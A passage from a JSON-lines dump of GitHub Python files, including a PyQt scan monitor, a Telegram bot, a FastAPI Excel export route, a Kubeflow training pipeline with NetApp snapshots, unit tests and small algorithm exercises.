Exception('Cannot change the id a running window.')\n else:\n self.id = id\n\n def set_data(self, values):\n if len(values) > 0:\n self.data[self.starting_point:self.starting_point+len(values)] = values\n self.starting_point += len(values)\n self.update_image()\n\n def update_image(self):\n if self.two_way:\n d = np.reshape(self.data, (self.num_y_points, 2*self.num_wl_points))\n d1 = d[:, :self.num_wl_points]\n d2 = d[:, -1:self.num_wl_points-1:-1]\n self.d1 = d1\n self.d2 = d2\n if self.average:\n d2 = (self.d1 + self.d2)/2\n elif self.difference:\n d2 = (self.d1 - self.d2)\n self.imv1.setImage(d1.T, scale=self.accuracy, autoLevels=False, autoRange=False, autoHistogramRange=True)\n self.imv2.setImage(d2.T, scale=self.accuracy, autoLevels=False, autoRange=False, autoHistogramRange=True)\n else:\n d = np.reshape(self.data, (self.num_y_points, self.num_wl_points))\n self.d = d\n self.imv.setImage(d.T, scale=self.accuracy, autoLevels=False, autoRange=False, autoHistogramRange=True)\n\n def save(self):\n \"\"\"Save the data to disk.\n This has to be done for scans! The code was copied from the monitor.\n \"\"\"\n\n if self.directory is not None:\n i = 0\n filename = 'scan_data_'\n while os.path.isfile(os.path.join(self.directory, '%s%i.dat' % (filename, i))):\n i += 1\n file = os.path.join(self.directory, '%s%i.dat' % (filename, i))\n start = self.wavelength['start'].m_as('nm')\n stop = self.wavelength['stop'].m_as('nm')\n step = self.wavelength['step'].m_as('nm')\n name_y = self.y_axis['name']\n start_y = self.y_axis['start']\n stop_y = self.y_axis['stop']\n step_y = self.y_axis['step']\n units_y = stop_y.u\n start_y = start_y.m_as(units_y)\n stop_y = stop_y.m\n step_y = step_y.m_as(units_y)\n\n with open(file, 'wb') as f:\n header = \"# 2D scan performed with the PharosController\\n\"\n header += \"# X-Axis: wavelength. Start, Stop, Step (in nm)\\n\"\n header += \"{}, {}, {} \\n\".format(start, stop, step)\n if self.two_way:\n header += \"# X-Axis set as Two-Way scan\\n\"\n header += \"# Y-Axis: {}. Start, Stop, Step (in {})\\n\".format(name_y, units_y)\n header += \"{}, {}, {}\\n\".format(start_y, stop_y, step_y)\n f.write(header.encode('ascii'))\n if self.two_way:\n f.write('# Forward direction\\n'.encode('ascii'))\n np.savetxt(f, self.d1, fmt='%7.5f')\n f.write('# Backward direction\\n'.encode('ascii'))\n np.savetxt(f, self.d2, fmt='%7.5f')\n else:\n np.savetxt(f, self.d, fmt='%7.5f')\n print('Data saved to %s' % file)\n else:\n self.choose_dir()\n\n def choose_dir(self):\n self.directory = str(QtGui.QFileDialog.getExistingDirectory(self, \"Select Directory\", self.directory))\n self.save()\n\n def doAutoScale(self):\n if self.two_way:\n img1 = self.imv1.getImageItem()\n h, y = img1.getHistogram()\n self.imv1.setLevels(min(h), max(h))\n img2 = self.imv2.getImageItem()\n h, y = img2.getHistogram()\n self.imv2.setLevels(min(h), max(h))\n else:\n img = self.imv.getImageItem()\n h, y = img.getHistogram()\n self.imv.setLevels(min(h), max(h))\n\nif __name__ == \"__main__\":\n import sys\n from PyQt4.Qt import QApplication\n from lantz import Q_\n import numpy as np\n\n ap = QApplication(sys.argv)\n m = ScanMonitorWidget()\n axis = {\n 'wavelength':\n {'stop': Q_('1500nm'),\n 'start': Q_('1200nm'),\n 'step': Q_('1nm')},\n 'y_axis': {\n 'name': 'y_axis',\n 'start': Q_('1mm'),\n 'stop': Q_('10mm'),\n 'step': Q_('1mm'),\n }\n\n }\n m.two_way = True\n m.set_axis(axis)\n\n d = np.random.random_sample((3000))\n m.set_data(d)\n m.show()\n ap.exit(ap.exec_())","repo_name":"uetke/UUPharosController","sub_path":"pharos/view/GUI/scan_monitor.py","file_name":"scan_monitor.py","file_ext":"py","file_size_in_byte":10739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"22573314198","text":"# coding: utf-8\n\n# 2017 © Guillermo Gómez Fonfría \n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\n\nimport sys\nimport os\nimport json\nimport requests\nimport time\nimport ConfigParser\nimport signal\n\n\nclass Bot():\n def __init__(self, bot_name, config_path):\n \"\"\"Initializes Bot object loading its configuration.\"\"\"\n # Load Config\n self.default = {\"token_path\": \"token\", \"lastupdate_path\": \"lastupdate\",\n \"log_status\": True, \"log_path\": \"log\",\n \"sleep_time\": 1.0, \"unknown_text\": \"Unknown command\"}\n self.config = ConfigParser.ConfigParser(self.default)\n self.config.read(config_path)\n\n self.token_path = self.config.get(bot_name, \"token_path\")\n self.lastupdate_path = self.config.get(bot_name, \"lastupdate_path\")\n self.log_status = self.config.getboolean(bot_name, \"log_status\")\n self.log_path = self.config.get(bot_name, \"log_path\")\n self.sleep_time = self.config.getfloat(bot_name, \"sleep_time\")\n self.unknown_text = self.config.get(bot_name, \"unknown_text\")\n\n try:\n with open(self.token_path) as self.token_file:\n self.token = self.token_file.read().rstrip(\"\\n\")\n except IOError:\n print(\"Token file not found\")\n sys.exit(1)\n\n self.api_url = \"https://api.telegram.org/bot\"\n self.token_url = self.api_url + self.token\n self.getupdates_url = self.token_url + \"/getUpdates?offset=\"\n self.sendmessage_url = self.token_url + \"/sendMessage?chat_id=\"\n self.sendimage_url = self.token_url + \"/sendPhoto\"\n\n # Set empty commands list\n self.text_commands = [list(), list()]\n self.commands = [list(), list()]\n\n try:\n with open(self.lastupdate_path) as self.last_update_file:\n self.last_update = self.last_update_file.read().rstrip(\"\\n\")\n except:\n # If lastupdate file not present, read all updates\n self.last_update = \"0\"\n\n def setTextCommands(self, commands, texts):\n \"\"\"Sets the list of commands which only return some text.\"\"\"\n if len(commands) != len(texts):\n print(\"Length of command and texts lists do not agree\")\n sys.exit(1)\n\n self.text_commands = [commands, texts]\n\n def setCommands(self, commands, functions):\n \"\"\"Sets the list of commands which require to execute some kind of\n code. This code has to be supplied in the form of functions.\"\"\"\n if len(commands) != len(functions):\n print(\"Length of command and function lists do not agree\")\n sys.exit(1)\n\n self.commands = [commands, functions]\n\n def getUpdates(self):\n \"\"\"Gets updates from the Telegram Bot API. Should only be called\n within the self.start() loop.\"\"\"\n self.getupdates_offset_url = self.getupdates_url + self.last_update\n\n self.get_updates = requests.get(self.getupdates_offset_url)\n if not self.get_updates.ok:\n print(self.get_updates.status_code) # For debugging\n self.updates = \"\"\n else:\n self.updates = json.loads(self.get_updates.content)[\"result\"]\n\n def sendMessage(self, chat_id, message):\n \"\"\"Sends passed message to specified chat.\"\"\"\n self.message = requests.get(self.sendmessage_url + str(chat_id) +\n \"&text=\" + message)\n\n def sendImage(self, chat_id, image_path):\n \"\"\"Sends passed image to specified chat.\"\"\"\n data = {\"chat_id\": str(chat_id)}\n files = {\"photo\": (image_path, open(image_path, \"rb\"))}\n requests.post(self.sendimage_url, data=data, files=files)\n\n def getMessage(self):\n \"\"\"Reads updates to get the messages. Then, it sends or runs what's\n configured to do with received command. Should only be called from\n self.start() loop\"\"\"\n # Group's status messages don't include \"text\" key\n try:\n self.text = self.item[\"message\"][\"text\"]\n except KeyError:\n return\n\n self.chat_id = self.item[\"message\"][\"chat\"][\"id\"]\n self.sent = False\n\n for i in range(0, len(self.commands[0])):\n if self.commands[0][i] in self.text:\n self.commands[1][i](self.item)\n self.sent = True\n break\n\n if not self.sent:\n for i in range(0, len(self.text_commands[0])):\n if self.text_commands[0][i] in self.text:\n self.sendMessage(self.chat_id, self.text_commands[1][i])\n self.sent = True\n break\n\n if not self.sent:\n self.sendMessage(self.chat_id, self.unknown_text)\n\n def start(self):\n \"\"\"Starts the Bot in a never-ending loop. Once started, Bot should be\n stop by sending a SIGTERM signal which will force it to run stop()\"\"\"\n signal.signal(signal.SIGTERM, self.stop)\n\n while True:\n self.getUpdates()\n for self.item in self.updates:\n try:\n tmp = self.item[\"message\"]\n except KeyError: # ignore other updates\n continue\n\n if self.log_status: # Store time to log\n with open(self.log_path, \"a\") as self.log_file:\n self.log_file.write(str(time.time()) + \"\\n\")\n\n self.getMessage()\n time.sleep(self.sleep_time)\n self.last_update = str(self.item[\"update_id\"] + 1)\n\n def stop(self, signum, frame):\n \"\"\"Run when it receives a SIGTERM signal, it stores lastupdate to\n configured file and stops the Bot.\"\"\"\n with open(self.lastupdate_path, \"w\") as self.last_update_file:\n self.last_update_file.write(self.last_update)\n sys.exit(0)\n","repo_name":"guillermogf/OOPBot","sub_path":"Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":6477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4803443072","text":"# Input : a a b c\n# Output : a -1 b b\n#\n# Input : a a c\n# Output : a -1 c\n\nfrom queue import Queue\n\n\ndef first_non_repeating_char_in_stream(stream: str):\n queue = Queue()\n\n mem = {}\n\n result = []\n\n for i, value in enumerate(stream):\n queue.put(value)\n\n if value not in mem:\n mem[value] = 1\n else:\n mem[value] +=1\n\n while (not queue.empty()):\n if mem[queue.queue[0]] > 1:\n queue.get()\n else:\n result.append(queue.queue[0])\n break\n if queue.empty():\n result.append(-1)\n\n return result\n\n\n\nif __name__ == '__main__':\n result = first_non_repeating_char_in_stream(\"aabc\")\n print(result)\n","repo_name":"riki-nitdgp/PracticeTime","sub_path":"first_non_repeating_character_in_stream.py","file_name":"first_non_repeating_character_in_stream.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20368840236","text":"import sys\ninput=sys.stdin.readline\nString=input().rstrip() #문자열을 입력받고\nKey=input().rstrip() #폭발 문자열을 입력받는다.\nBomd=[] #폭발 문자열이 들어오는지 확인하기 위해 스택 자료구조를 이용할 것이다.\n\nfor i in String:\n Bomd.append(i) #입력 받은 문자열을 스택에 넣는다.\n a=1 #밑에서 a==1인 경우만 pop을 진행하기 위해 임시 변수 선언\n if i == Key[-1]:\n if len(Bomd) < len(Key): #스택의 길이보다 Key의 길이가 길면 폭발이 절대 진행되지 않기 때문에 continue함수로 다음 루프를 진행한다. \n continue\n else:\n for j in range(len(Key)):\n if Bomd[-(j+1)]!=Key[-(j+1)]: #스택의 끝과 Key의 끝이 같다면 스택의 끝부분에서 안쪽으로 들어가면서 Key와 같은 값인지 확인한다.\n a=0 #다르다면 a=0으로 바꾸며 아래서 pop이 진행되지 않도록 한다.\n if a==1:\n for _ in range(len(Key)): #a=1이라면 스택의 끝부분이 Key와 동일하다는 의미임으로 pop을 Key의 길이 만큼 진행한다.\n Bomd.pop()\n \nif len(Bomd)==0: #스택의 길이가 0dlfkaus FRULA를 출력한다.\n print('FRULA')\nelse:\n for i in Bomd: #스택에 남은 문자열이 있다면 순서대로 출력한다.\n print(i,end='')\n","repo_name":"Jeongmani/python-study","sub_path":"BOJ/Class 4/문자열 폭발(9935).py","file_name":"문자열 폭발(9935).py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20458540976","text":"import sys\nimport traceback\nfrom codeop import CommandCompiler, compile_command\n__all__ = ['InteractiveInterpreter', 'InteractiveConsole', 'interact', 'compile_command']\n\nclass InteractiveInterpreter:\n __qualname__ = 'InteractiveInterpreter'\n\n def __init__(self, locals=None):\n if locals is None:\n locals = {'__name__': '__console__', '__doc__': None}\n self.locals = locals\n self.compile = CommandCompiler()\n\n def runsource(self, source, filename='', symbol='single'):\n try:\n code = self.compile(source, filename, symbol)\n except (OverflowError, SyntaxError, ValueError):\n self.showsyntaxerror(filename)\n return False\n if code is None:\n return True\n self.runcode(code)\n return False\n\n def runcode(self, code):\n try:\n exec(code, self.locals)\n except SystemExit:\n raise\n except:\n self.showtraceback()\n\n def showsyntaxerror(self, filename=None):\n (type, value, tb) = sys.exc_info()\n sys.last_type = type\n sys.last_value = value\n sys.last_traceback = tb\n if filename and type is SyntaxError:\n try:\n (msg, (dummy_filename, lineno, offset, line)) = value.args\n except ValueError:\n pass\n value = SyntaxError(msg, (filename, lineno, offset, line))\n sys.last_value = value\n if sys.excepthook is sys.__excepthook__:\n lines = traceback.format_exception_only(type, value)\n self.write(''.join(lines))\n else:\n sys.excepthook(type, value, tb)\n\n def showtraceback(self):\n try:\n (type, value, tb) = sys.exc_info()\n sys.last_type = type\n sys.last_value = value\n sys.last_traceback = tb\n tblist = traceback.extract_tb(tb)\n del tblist[:1]\n lines = traceback.format_list(tblist)\n if lines:\n lines.insert(0, 'Traceback (most recent call last):\\n')\n lines.extend(traceback.format_exception_only(type, value))\n finally:\n tblist = tb = None\n if sys.excepthook is sys.__excepthook__:\n self.write(''.join(lines))\n else:\n sys.excepthook(type, value, tb)\n\n def write(self, data):\n sys.stderr.write(data)\n\nclass InteractiveConsole(InteractiveInterpreter):\n __qualname__ = 'InteractiveConsole'\n\n def __init__(self, locals=None, filename=''):\n InteractiveInterpreter.__init__(self, locals)\n self.filename = filename\n self.resetbuffer()\n\n def resetbuffer(self):\n self.buffer = []\n\n def interact(self, banner=None):\n try:\n sys.ps1\n except AttributeError:\n sys.ps1 = '>>> '\n try:\n sys.ps2\n except AttributeError:\n sys.ps2 = '... '\n cprt = 'Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.'\n if banner is None:\n self.write('Python %s on %s\\n%s\\n(%s)\\n' % (sys.version, sys.platform, cprt, self.__class__.__name__))\n else:\n self.write('%s\\n' % str(banner))\n more = 0\n while True:\n try:\n if more:\n prompt = sys.ps2\n else:\n prompt = sys.ps1\n try:\n line = self.raw_input(prompt)\n except EOFError:\n self.write('\\n')\n break\n more = self.push(line)\n except KeyboardInterrupt:\n self.write('\\nKeyboardInterrupt\\n')\n self.resetbuffer()\n more = 0\n\n def push(self, line):\n self.buffer.append(line)\n source = '\\n'.join(self.buffer)\n more = self.runsource(source, self.filename)\n if not more:\n self.resetbuffer()\n return more\n\n def raw_input(self, prompt=''):\n return input(prompt)\n\ndef interact(banner=None, readfunc=None, local=None):\n console = InteractiveConsole(local)\n if readfunc is not None:\n console.raw_input = readfunc\n else:\n try:\n import readline\n except ImportError:\n pass\n console.interact(banner)\n\nif __name__ == '__main__':\n interact()\n","repo_name":"johndpope/sims4-ai-engine","sub_path":"base/lib/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":4388,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"72261737474","text":"# Python\nimport shutil\nfrom io import BytesIO\nimport os\nimport re\nimport tempfile\nfrom datetime import datetime\n# Pydantic\n\n# Fastapi\nfrom fastapi.responses import StreamingResponse, FileResponse\nfrom fastapi import APIRouter, Path, HTTPException, Form, File, UploadFile, Request\nfrom fastapi.params import Depends\n\n# Terceros\nfrom sqlalchemy.orm import Session\nimport pandas as pd\nimport numpy as np\nfrom typing import List\n\n# Modulos locales\nfrom app.models.events import Historico\nfrom app.database.connection import get_session, engine\nfrom app.auth.jwt_bearer import jwtBearer, decodeJWT\nfrom app.database.lists.lists import regex\n\n\ndocument_router = APIRouter(\n tags=[\"Documents\"]\n)\n\n\n@document_router.get(\n path=\"/documentos/gestion\",\n summary=\"Descarga un archivo con todos los envíos dentro de las fechas solicitadas formato aaaa.mm.dd\",\n dependencies=[Depends(jwtBearer())]\n)\ndef gestion(\n request: Request,\n fecha_inicial: str,\n fecha_final: str,\n db: Session = Depends(get_session)\n ):\n authorization = request.headers.get(\"Authorization\")\n if not authorization or not authorization.startswith(\"Bearer \"):\n raise HTTPException(\n status_code=401,\n detail=\"Esquema de autenticación inválido\"\n )\n\n # Extrae el token sin el prefijo \"Bearer\"\n token = authorization.split(\" \")[1]\n \n # Decodifica el token y obtén el payload\n payload = decodeJWT(token)\n\n companyID = payload['companyID']\n\n # Realiza la consulta SQLAlchemy y selecciona solo las columnas deseadas\n fecha_inicial = datetime.strptime(fecha_inicial, '%Y.%m.%d')\n fecha_final = datetime.strptime(fecha_final, '%Y.%m.%d')\n\n if companyID == 11:\n resultados = db.query(Historico).order_by(Historico.orden.desc()).limit(500000).all() \n else:\n resultados = db.query(Historico).filter(\n Historico.cod_ent == companyID\n ).order_by(Historico.serial.desc()).limit(500000).all()\n # Reformatea los resultados para que tengan la forma correcta\n reformateados = [(row.serial, row.no_entidad, row.f_emi, row.orden, row.retorno, row.ret_esc, row.motivo) for row in resultados]\n\n # Crea un DataFrame a partir de los resultados reformateados\n df = pd.DataFrame(reformateados, columns=['serial', 'entidad','fecha_inicio', 'orden', 'retorno', 'ret_esc', 'motivo'])\n df['fecha_inicio'] = pd.to_datetime(df['fecha_inicio'], format='%Y.%m.%d', errors='coerce')\n # Eliminar las horas y los minutos, dejando solo la fecha\n df['fecha_inicio'] = df['fecha_inicio'].dt.date\n\n # Convierte fecha_inicial y fecha_final a objetos date\n fecha_inicial = fecha_inicial.date()\n fecha_final = fecha_final.date()\n\n fechasFiltro = (df['fecha_inicio'] >= fecha_inicial) & (df['fecha_inicio'] <= fecha_final)\n df = df[fechasFiltro]\n\n # Usar numpy.where para asignar valores a la columna 'estado'\n df['estado'] = np.where((df['ret_esc'] == 'E') | (df['retorno'] == 'E'), 'Entrega',\n np.where(df['retorno'] == 'f', 'Envio no ha llegado, faltante',\n np.where(df['retorno'] == 'o', 'Devolucion en proceso',\n np.where(df['retorno'] == 'D', 'Motivo',\n np.where((df['ret_esc'] == 'i') & (df['retorno'].isin(['l', 'j'])), 'Distribución',\n np.where(df['retorno'] == 'i', 'Alistamiento', 'Otro'))))))\n \n df = df[['serial', 'entidad', 'fecha_inicio', 'orden', 'estado']]\n\n with tempfile.NamedTemporaryFile(suffix=\".xlsx\", delete=False) as temp_file:\n # Escribe el DataFrame en un archivo Excel\n df.to_excel(temp_file.name, index=False, sheet_name='Hoja1')\n\n # Devuelve el archivo Excel para descargar\n return FileResponse(temp_file.name, filename=\"gestion.xlsx\")\n","repo_name":"MauricioCombariza/servilla-next","sub_path":"api/app/routes/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8415976003","text":"\"\"\"\nDemonstration of MLOps pipeline with NetApp DataOps Toolkit\n\"\"\"\nimport kfp\nfrom kfp.components import create_component_from_func\nimport kfp.dsl as dsl\nimport kfp.onprem as onprem\nimport sys\n\n\"\"\"\nImport re-usable components\n\"\"\"\n# Snapshot\nfrom pipeline_components import netapp_snapshot\ncreate_snapshot_op = create_component_from_func(\n netapp_snapshot.create_snapshot,\n base_image=\"kyonsy0722/netapp-dataops:1.0\"\n )\n\n# Train model\nfrom pipeline_components import train_model\ntrain_model_op = create_component_from_func(\n train_model.transfer_learning,\n base_image=\"tensorflow/tensorflow:2.11.0-gpu\",\n packages_to_install=[\"tensorflow_hub\"]\n )\n\n# Visualize result\nfrom pipeline_components import visualize_history\nvisualize_result_op = create_component_from_func(\n visualize_history.markdown_vis,\n base_image=\"python:3-slim\",\n packages_to_install=[\"pandas\", \"tabulate\"]\n )\n\n# Upload artifact\nfrom pipeline_components import upload_artifact\nupload_artifact_op = create_component_from_func(\n upload_artifact.upload_savedmodel,\n base_image=\"python:3-slim\",\n packages_to_install=[\"boto3\"]\n )\n\n\n\"\"\"\nBuilding pipeline DAG\n\"\"\" \n@dsl.pipeline(\n name=\"mlops-demo\",\n description=\"Template for executing an AI training run with built-in training dataset traceability and trained model versioning\",\n)\ndef ai_training_run(\n # Define pipeline parameters\n dataset_pvc_name: str=\"dataset-flower\",\n training_namespace: str=\"training\",\n volume_snapshot_class :str=\"csi-snapclass\",\n batch_size:int=16,\n epochs:int=5,\n learning_rate:float=0.005,\n momentum:float=0.9,\n label_smoothing:float=0.1,\n dropout_rate:float=0.2\n):\n DATASET_MNT_POINT = \"/mnt/dataset\"\n if dataset_pvc_name == \"dataset-cats\":\n DATASET_DIR = \"/mnt/dataset/resized\"\n elif dataset_pvc_name == \"dataset-flower\":\n DATASET_DIR = \"/mnt/dataset/flower_photos\"\n else:\n DATASET_DIR = \"/mnt/dataset\"\n\n SNAPSHOT_NAME = f\"{dataset_pvc_name}-{kfp.dsl.RUN_ID_PLACEHOLDER}\"\n MODEL_NAME = \"flower-classifier\"\n MODEL_METADATA = {\n \"x-amz-meta-NAMESPACE-TRAINED-AT\": training_namespace,\n \"x-amz-meta-DATASET-PVC-NAME\": dataset_pvc_name,\n \"x-amz-meta-DATASET-VERSION-NAME\": SNAPSHOT_NAME,\n \"x-amz-meta-KFP-RUN-ID\": kfp.dsl.RUN_ID_PLACEHOLDER\n }\n TRAIN_STEP_NUM_GPU = 1\n\n # STEP1: Taking snapshot before training \n snapshot_before_training = create_snapshot_op(\n namespace=training_namespace, \n pvc_name=dataset_pvc_name, \n snapshot_name=SNAPSHOT_NAME,\n volume_snapshot_class=volume_snapshot_class\n ).set_display_name('Dataset snapshoter')\n # disable caching\n # snapshot_before_training.set_caching_options(enable_caching=False)\n snapshot_before_training.execution_options.caching_strategy.max_cache_staleness = \"P0D\"\n\n # STEP2: Training model\n train_task = train_model_op(\n model_name=MODEL_NAME,\n data_dir=DATASET_DIR,\n batch_size=batch_size,\n epochs=epochs,\n learning_rate=learning_rate,\n momentum=momentum,\n label_smoothing=label_smoothing,\n dropout_rate=dropout_rate\n ).after(snapshot_before_training).set_display_name('Model trainer')\n # disable caching\n # train_task.set_caching_options(enable_caching=False)\n train_task.execution_options.caching_strategy.max_cache_staleness = \"P0D\"\n\n # mount dataset PVC\n train_task.apply(\n onprem.mount_pvc(dataset_pvc_name, 'datavol', DATASET_MNT_POINT)\n )\n # set gpu limit\n if TRAIN_STEP_NUM_GPU > 0:\n train_task.set_gpu_limit(TRAIN_STEP_NUM_GPU, 'nvidia')\n\n # STEP3: Visualize training result\n visualize_task = visualize_result_op(\n input_history = train_task.outputs[\"output_history\"],\n ).set_display_name('Visualizer')\n # disable caching\n # visualize_task.set_caching_options(enable_caching=False)\n visualize_task.execution_options.caching_strategy.max_cache_staleness = \"P0D\"\n\n # STEP4: Update model to artifact repository\n upload_task = upload_artifact_op(\n input_model = train_task.outputs[\"output_model\"],\n archive_name = kfp.dsl.RUN_ID_PLACEHOLDER, # use RUN ID as s3 object name\n model_name = MODEL_NAME,\n object_metadata = MODEL_METADATA\n ).set_display_name('Artifact uploader')\n # disable caching\n # upload_task.set_caching_options(enable_caching=False)\n upload_task.execution_options.caching_strategy.max_cache_staleness = \"P0D\"\n\n # pass s3 credentials to the task\n upload_task.apply(\n onprem.use_k8s_secret(\n secret_name='s3-secret-artifact',\n k8s_secret_key_to_env={\n 's3_secret_key': 'AWS_SECRET_ACCESS_KEY',\n 's3_access_key': 'AWS_ACCESS_KEY',\n 's3_region': 'AWS_REGION',\n 's3_bucket_name': 'AWS_BUCKET_NAME'\n }))\n\n\"\"\"\nCompile a pipeline\n\"\"\"\nif __name__ == \"__main__\":\n if len(sys.argv) == 2:\n kfp.compiler.Compiler().compile(\n pipeline_func=ai_training_run,\n package_path=sys.argv[1])\n else:\n print(\"Usage: python3 FILE_NAME.py \")\n sys.exit(1)","repo_name":"yshimizu37/mlops-demo","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":4896,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"15665399574","text":"from dog import Dog \n\nmy_dog = Dog(\"rex\", \"super dog\")\n\nmy_dog2 = Dog(\"Simba\", \"super super dog\")\nmy_dog3 = Dog(\"Kena\", \"the superest of dogs\")\nmy_dog4 = Dog(\"Khan\", \"The wildest of dogs\")\n\nmy_dog2.sit()\nmy_dog3.roll()\nmy_dog4.bark()","repo_name":"scottzyang/superhero-dueler","sub_path":"practice/my_dogs.py","file_name":"my_dogs.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26324793449","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 07 21:34 2020\n\n@author: fdbfvuiea\n\"\"\"\n\nnum = input()\nnum = list(num)\nnum.reverse()\nnum = \"\".join(num)\nprint(int(num))","repo_name":"fjfhfjfjgishbrk/AE401-Python","sub_path":"zerojudge/a038.py","file_name":"a038.py","file_ext":"py","file_size_in_byte":187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38285655174","text":"import unittest\nimport pandas as pd\n\nfrom ensemble_detectors.moving_average_detection import moving_average_detection\nfrom test.test_utilitiy import get_data_for_test\n\nclass moving_average_detection_test(unittest.TestCase):\n\n def get_dummy_list(self):\n list_data_points =[]\n i = 0\n while i < 20:\n list_data_points.append(15)\n list_data_points.append(12)\n list_data_points.append(18)\n i += 1\n return list_data_points\n\n # TEST REAL TIME DETECTION\n def test_detect_prediction_with_outlier(self):\n confidence_outlier = moving_average_detection.real_time_prediction(self.get_dummy_list(), 50)\n self.assertTrue(confidence_outlier < 0)\n\n def test_detect_prediction_with_inlier(self):\n confidence_outlier = moving_average_detection.real_time_prediction(self.get_dummy_list(), 13)\n self.assertTrue(confidence_outlier > 0)\n\n \n # TEST GET AVERAGE\n def test_get_average(self):\n points = []\n points.append(10)\n points.append(20)\n points.append(40)\n points.append(50)\n average = moving_average_detection.get_average(points)\n self.assertEqual(30, average)\n \n def test_get_average_empty_data(self):\n points = []\n average = moving_average_detection.get_average(points)\n self.assertEqual(0, average)\n\n\n # TEST GET MOVING AVERAGE COORDINATES\n def test_get_moving_average_coordinates(self):\n data_coordinates = get_data_for_test('test_data_coordinates')\n average_coordinates = moving_average_detection.get_moving_average_coordinates(10, pd.DataFrame({'points_x':data_coordinates['timestamp'],'points_y':data_coordinates['data']}))\n self.assertIsNotNone(average_coordinates['points_average_x'])\n self.assertIsNotNone(average_coordinates['points_average_y'])\n\n \n # TEST DETECT AVERAGE OUTLIERS\n def test_detect_average_outliers(self):\n data_coordinates = get_data_for_test('test_data_coordinates')\n dataframe_renamed = pd.DataFrame({'points_x':data_coordinates['timestamp'],'points_y':data_coordinates['data']})\n average_coordinates = moving_average_detection.get_moving_average_coordinates(10, dataframe_renamed)\n outliers = moving_average_detection.detect_average_outliers(10, average_coordinates, dataframe_renamed)\n self.assertIsNotNone(outliers['timestamp'])\n self.assertIsNotNone(outliers['data'])\n\n \n # TEST DETECT AVERAGE OUTLIERS CONFIDENCE\n def test_detect_average_outliers_confidence(self):\n data_coordinates = get_data_for_test('test_data_coordinates')\n dataframe_renamed = pd.DataFrame({'points_x':data_coordinates['timestamp'],'points_y':data_coordinates['data']})\n average_coordinates = moving_average_detection.get_moving_average_coordinates(10, dataframe_renamed)\n outliers = moving_average_detection.detect_average_outliers_labelled_prediction(10, average_coordinates, dataframe_renamed)\n self.assertIsNotNone(outliers['timestamp'])\n self.assertIsNotNone(outliers['data'])\n self.assertIsNotNone(outliers['confidence'])\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"Liam-Reid-2000/outlier-detection-in-virtual-machines","sub_path":"test/test_moving_average_detection.py","file_name":"test_moving_average_detection.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23584603551","text":"import math\nfrom queue import PriorityQueue\n\ndef modifyGraph(graph, horses):\n newGraph = []\n for i in range(len(graph)):\n newGraph.append([math.inf] * len(graph))\n for (i, startCity) in enumerate(graph):\n (e, s) = horses[i]\n queue_cities = [(city, dist) for (city, dist) in enumerate(startCity) if dist != -1]\n while len(queue_cities) > 0:\n (city, dist) = queue_cities.pop(0)\n if dist <= e:\n newGraph[i][city] = min(newGraph[i][city], dist/s)\n queue_cities += [(c, d + dist) for (c, d) in enumerate(graph[city]) if d != -1]\n return newGraph\n\ndef dikstra(graph, start, end):\n citiesWithMinDist = set([start])\n\n queue = PriorityQueue()\n for (city, dist) in enumerate(graph[start]):\n queue.put((dist, city))\n\n while True:\n (dist, city) = queue.get()\n if city in citiesWithMinDist:\n continue\n citiesWithMinDist.add(city)\n if city == end:\n return dist\n for (nextCity, nextDist) in enumerate(graph[city]):\n queue.put((dist + nextDist, nextCity))\n\nt = int(input())\nfor i in range(1, t+1):\n line = input()\n n = int(line.split(\" \")[0])\n q = int(line.split(\" \")[1])\n horses = []\n for j in range(n):\n line = input()\n e = int(line.split(\" \")[0])\n s = int(line.split(\" \")[1])\n horses.append((e, s))\n\n graph = []\n for j in range(n):\n line = input()\n graph.append([int(elem) for elem in line.split(\" \")])\n\n newGraph = modifyGraph(graph, horses)\n # print(graph)\n # print()\n # print(newGraph)\n minTimes = []\n for j in range(q):\n line = input()\n u = int(line.split(\" \")[0])\n v = int(line.split(\" \")[1])\n minTimes.append(dikstra(newGraph, u-1, v-1))\n\n print(\"Case #{}:\".format(i), ' '.join((str(elem) for elem in minTimes)))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_208/207.py","file_name":"207.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14966720433","text":"from __future__ import print_function\n\nimport argparse\nimport os\nimport sys\n\nimport torch\nimport yaml\nimport logging\n\nfrom wenet.transformer.asr_model import init_asr_model\nfrom wenet.utils.checkpoint import load_checkpoint\nfrom wenet.transformer.ctc import CTC\nfrom 